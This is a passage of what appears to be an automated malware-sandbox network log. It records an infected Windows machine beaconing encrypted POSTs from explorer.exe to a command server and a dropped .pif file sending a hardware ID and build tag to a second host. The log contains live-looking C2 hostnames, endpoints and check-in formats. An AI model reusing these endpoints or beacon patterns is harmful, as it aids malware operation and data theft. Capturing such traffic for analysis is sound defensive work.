79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49759	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:38.530904055 CET	337	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://upnvrumtbxlk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 281 Host: humydrole.com
Dec 2, 2023 18:02:38.530920982 CET	335	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 3f 23 cf eb Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu?#KC\|quwsZS-Im{d C{g/Mt!.jK)uU>ro0-^2n~_\|g<%9
Dec 2, 2023 18:02:39.030611038 CET	292	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49760	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:39.261395931 CET	336	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vuwuyuhtqeh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 125 Host: humydrole.com
Dec 2, 2023 18:02:39.261420965 CET	179	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 5c 3e ff 87 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu\>by`_)~a;f73
Dec 2, 2023 18:02:39.779145956 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49761	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:40.022267103 CET	336	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qdwghkwthso.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 151 Host: humydrole.com
Dec 2, 2023 18:02:40.022316933 CET	205	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 2f 33 e9 81 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu/3h~xqhG6)UG-+WHA2_bh>RMzj'
Dec 2, 2023 18:02:40.666454077 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49762	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:42.034830093 CET	338	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cahcnsddjgthr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 192 Host: humydrole.com
Dec 2, 2023 18:02:42.034869909 CET	246	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 4b 2e a1 96 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vuK.g^qR`wQH\.W;Dk8VK}FN"RcA-dE(^yQ[>Us
Dec 2, 2023 18:02:42.676693916 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:42 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49763	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:42.903167963 CET	341	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fijvqkbihenlyifa.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: humydrole.com
Dec 2, 2023 18:02:42.903198004 CET	301	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 24 0c d3 87 Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu$hqRfN;8].'lg\YxzOA=v,&JTgA$3&R:L:pBuX>=Au?&:m]~C89`
Dec 2, 2023 18:02:43.415786028 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49764	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:43.646574020 CET	340	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xgjkagxlbbogltm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: humydrole.com
Dec 2, 2023 18:02:43.646609068 CET	302	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 43 18 d7 ab Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vuC3hLj*fL='^59m3;[/+D2e~D^om9qYOM6~gAP<\d4Z[vd($Y(
Dec 2, 2023 18:02:44.144418955 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49765	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:44.393714905 CET	340	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fsylkxrvnhcmvom.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 292 Host: humydrole.com
Dec 2, 2023 18:02:44.393714905 CET	346	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 4f 08 d9 bc Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vuOa(Chdwy-bi&ke{P.$QY:,F-IK T#k tU9MU0X+hhtNVZQd
Dec 2, 2023 18:02:45.033807993 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49766	95.158.162.200	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:45.265706062 CET	336	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oplsdefkqsn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 327 Host: humydrole.com
Dec 2, 2023 18:02:45.265706062 CET	381	OUT	Data Raw: 3b 6e 25 10 81 cd 6f 25 de d9 b3 77 0f 04 0e bc 7d 7d c9 ec 1e 71 93 12 01 78 73 97 35 c3 b2 69 9d 2c c5 2d 01 69 57 19 98 eb 3f c5 3d 38 df f7 6b bf 49 3f c2 70 4c f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 20 2d aa 9d Data Ascii: ;n%o%w}}qxs5i,-iW?=8kI?pLM@NA -[k,vu -}(eY!mVS4{nKXr@KT%/4N\-2&=g_!(G*0qyv(`K7EWSaq90;
Dec 2, 2023 18:02:45.768559933 CET	641	IN	HTTP/1.0 404 Not Found Date: Sat, 02 Dec 2023 17:02:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49768	172.67.137.48	80	3896	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:50.161573887 CET	476	OUT	POST /d414f888bed8c202.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: dskflherlkhopihsf.com Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 33 39 35 41 37 38 45 32 37 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"6395A78E27C93740105281------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"default------CBFCBKKFBAEHJKEBKFCB--
Dec 2, 2023 18:02:50.490000963 CET	814	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VfFkdDj6dkbJTL2UVPOepidkBZHKSnOSjSOcGBb%2BN2z2ES6iPnqL%2FlsEPfMvMdxnIybcpTIfIP96q%2FxQfCjdp7VAMlyCjGtXsDIKdFi0IzLqEKsRte5XZVqUAYHyOIAWH6rD5nAkdAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 82f523cb9af0592f-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 39 30 0d 0a 59 7a 63 34 59 6a 68 68 5a 54 64 69 59 6d 51 34 4d 32 4d 31 4d 6a 55 35 4d 44 4d 77 4d 54 4d 31 4d 57 45 78 4d 44 42 69 4f 44 55 34 5a 6a 4a 6a 4d 47 5a 6c 5a 6d 4d 7a 4e 6a 4d 30 4f 47 56 6c 4e 7a 63 34 4d 57 45 33 59 6d 52 6c 4e 6a 6b 32 4e 32 55 7a 5a 6a 55 79 4e 57 55 78 4f 44 56 6d 66 47 52 76 62 6d 56 38 64 47 56 7a 64 47 56 6b 4c 6d 5a 70 62 47 56 38 4d 58 77 77 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 41 3d 3d 0d 0a Data Ascii: 